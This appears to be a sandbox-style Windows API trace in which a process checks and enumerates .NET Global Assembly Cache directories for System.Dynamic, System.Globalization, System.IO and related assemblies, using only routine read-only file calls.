	[0088.792] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Drawing.Design\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\System.Drawing.Design.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.drawing.design\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\system.drawing.design.dll"), fInfoLevelId=0x0, lpFileInformation=0x123fce18 | out: lpFileInformation=0x123fce18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x6793b320, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x1b8d8)) returned 1
	[0088.792] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Dynamic" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.dynamic"), fInfoLevelId=0x0, lpFileInformation=0x123fce68 | out: lpFileInformation=0x123fce68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x932cb680, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x932cb680, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x932cb680, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.792] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Dynamic" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.dynamic"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.792] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Dynamic\\*", lpFindFileData=0x124e78b4 | out: lpFindFileData=0x124e78b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x932cb680, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x932cb680, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x932cb680, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.792] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.792] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Dynamic\\v4.0_4.0.0.0__b03f5f7f11d50a3a" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.dynamic\\v4.0_4.0.0.0__b03f5f7f11d50a3a"), fInfoLevelId=0x0, lpFileInformation=0x123fcf08 | out: lpFileInformation=0x123fcf08*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x932a5520, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x62389b20, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x62389b20, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.792] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Dynamic\\v4.0_4.0.0.0__b03f5f7f11d50a3a" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.dynamic\\v4.0_4.0.0.0__b03f5f7f11d50a3a"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.792] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Dynamic\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x124e7850 | out: lpFindFileData=0x124e7850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x932a5520, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x62389b20, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x62389b20, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.793] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.793] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Dynamic\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\System.Dynamic.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.dynamic\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\system.dynamic.dll"), fInfoLevelId=0x0, lpFileInformation=0x123fcfa8 | out: lpFileInformation=0x123fcfa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x62389b20, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x1feb0)) returned 1
	[0088.793] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Dynamic.Runtime" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.dynamic.runtime"), fInfoLevelId=0x0, lpFileInformation=0x123fcff8 | out: lpFileInformation=0x123fcff8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9da03a0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xc9da03a0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xc9da03a0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.793] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Dynamic.Runtime" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.dynamic.runtime"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.793] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Dynamic.Runtime\\*", lpFindFileData=0x124e78b4 | out: lpFindFileData=0x124e78b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9da03a0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xc9da03a0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xc9da03a0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.793] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.793] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Dynamic.Runtime\\v4.0_4.0.0.0__b03f5f7f11d50a3a" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.dynamic.runtime\\v4.0_4.0.0.0__b03f5f7f11d50a3a"), fInfoLevelId=0x0, lpFileInformation=0x123fd098 | out: lpFileInformation=0x123fd098*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9da03a0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x623d5de0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x623d5de0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.793] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Dynamic.Runtime\\v4.0_4.0.0.0__b03f5f7f11d50a3a" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.dynamic.runtime\\v4.0_4.0.0.0__b03f5f7f11d50a3a"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.794] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Dynamic.Runtime\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x124e7850 | out: lpFindFileData=0x124e7850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9da03a0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x623d5de0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x623d5de0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.794] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.794] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Dynamic.Runtime\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\System.Dynamic.Runtime.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.dynamic.runtime\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\system.dynamic.runtime.dll"), fInfoLevelId=0x0, lpFileInformation=0x123fd138 | out: lpFileInformation=0x123fd138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x623d5de0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x74e0)) returned 1
	[0088.794] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Globalization" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.globalization"), fInfoLevelId=0x0, lpFileInformation=0x123fd188 | out: lpFileInformation=0x123fd188*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9da03a0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xc9dc6500, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xc9dc6500, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.795] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Globalization" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.globalization"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.795] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Globalization\\*", lpFindFileData=0x124e78b4 | out: lpFindFileData=0x124e78b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9da03a0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xc9dc6500, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xc9dc6500, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.795] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.795] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Globalization\\v4.0_4.0.0.0__b03f5f7f11d50a3a" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.globalization\\v4.0_4.0.0.0__b03f5f7f11d50a3a"), fInfoLevelId=0x0, lpFileInformation=0x123fd228 | out: lpFileInformation=0x123fd228*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9dc6500, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x623fbf40, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x623fbf40, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.795] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Globalization\\v4.0_4.0.0.0__b03f5f7f11d50a3a" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.globalization\\v4.0_4.0.0.0__b03f5f7f11d50a3a"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.795] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Globalization\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x124e7850 | out: lpFindFileData=0x124e7850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9dc6500, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x623fbf40, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x623fbf40, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.795] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.795] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Globalization\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\System.Globalization.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.globalization\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\system.globalization.dll"), fInfoLevelId=0x0, lpFileInformation=0x123fd2c8 | out: lpFileInformation=0x123fd2c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x623fbf40, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x72d0)) returned 1
	[0088.796] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.IO" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.io"), fInfoLevelId=0x0, lpFileInformation=0x123fd318 | out: lpFileInformation=0x123fd318*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9dc6500, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xc9dc6500, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xc9dc6500, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.796] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.IO" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.io"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.796] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.IO\\*", lpFindFileData=0x124e78b4 | out: lpFindFileData=0x124e78b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9dc6500, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xc9dc6500, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xc9dc6500, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.797] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.797] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.IO\\v4.0_4.0.0.0__b03f5f7f11d50a3a" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.io\\v4.0_4.0.0.0__b03f5f7f11d50a3a"), fInfoLevelId=0x0, lpFileInformation=0x123fd3b8 | out: lpFileInformation=0x123fd3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9dc6500, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x62800460, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x62800460, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.797] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.IO\\v4.0_4.0.0.0__b03f5f7f11d50a3a" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.io\\v4.0_4.0.0.0__b03f5f7f11d50a3a"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.797] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.IO\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x124e7850 | out: lpFindFileData=0x124e7850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9dc6500, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x62800460, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x62800460, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.797] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.797] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.IO\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\System.IO.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.io\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\system.io.dll"), fInfoLevelId=0x0, lpFileInformation=0x123fd458 | out: lpFileInformation=0x123fd458*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x62800460, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x7090)) returned 1
	[0088.798] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.IO.Compression" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.io.compression"), fInfoLevelId=0x0, lpFileInformation=0x123fd4a8 | out: lpFileInformation=0x123fd4a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9e84be0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xc9e84be0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xc9e84be0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.798] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.IO.Compression" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.io.compression"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.798] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.IO.Compression\\*", lpFindFileData=0x124e78b4 | out: lpFindFileData=0x124e78b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9e84be0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xc9e84be0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xc9e84be0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.798] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.798] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.IO.Compression\\v4.0_4.0.0.0__b77a5c561934e089" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.io.compression\\v4.0_4.0.0.0__b77a5c561934e089"), fInfoLevelId=0x0, lpFileInformation=0x123fd548 | out: lpFileInformation=0x123fd548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9e84be0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x67e4a1e0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x67e4a1e0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.798] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.IO.Compression\\v4.0_4.0.0.0__b77a5c561934e089" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.io.compression\\v4.0_4.0.0.0__b77a5c561934e089"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.799] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.IO.Compression\\v4.0_4.0.0.0__b77a5c561934e089\\*", lpFindFileData=0x124e7850 | out: lpFindFileData=0x124e7850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9e84be0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x67e4a1e0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x67e4a1e0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.799] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.799] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.IO.Compression\\v4.0_4.0.0.0__b77a5c561934e089\\System.IO.Compression.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.io.compression\\v4.0_4.0.0.0__b77a5c561934e089\\system.io.compression.dll"), fInfoLevelId=0x0, lpFileInformation=0x123fd5e8 | out: lpFileInformation=0x123fd5e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x67e4a1e0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x118d8)) returned 1
	[0088.799] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.IO.Compression.FileSystem" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.io.compression.filesystem"), fInfoLevelId=0x0, lpFileInformation=0x123fd638 | out: lpFileInformation=0x123fd638*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9e84be0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xc9e84be0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xc9e84be0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.799] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.IO.Compression.FileSystem" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.io.compression.filesystem"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.799] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.IO.Compression.FileSystem\\*", lpFindFileData=0x124e78b4 | out: lpFindFileData=0x124e78b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9e84be0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xc9e84be0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xc9e84be0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.799] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.799] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.IO.Compression.FileSystem\\v4.0_4.0.0.0__b77a5c561934e089" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.io.compression.filesystem\\v4.0_4.0.0.0__b77a5c561934e089"), fInfoLevelId=0x0, lpFileInformation=0x123fd6d8 | out: lpFileInformation=0x123fd6d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9e84be0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x67ebc600, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x67ebc600, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.800] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.IO.Compression.FileSystem\\v4.0_4.0.0.0__b77a5c561934e089" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.io.compression.filesystem\\v4.0_4.0.0.0__b77a5c561934e089"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
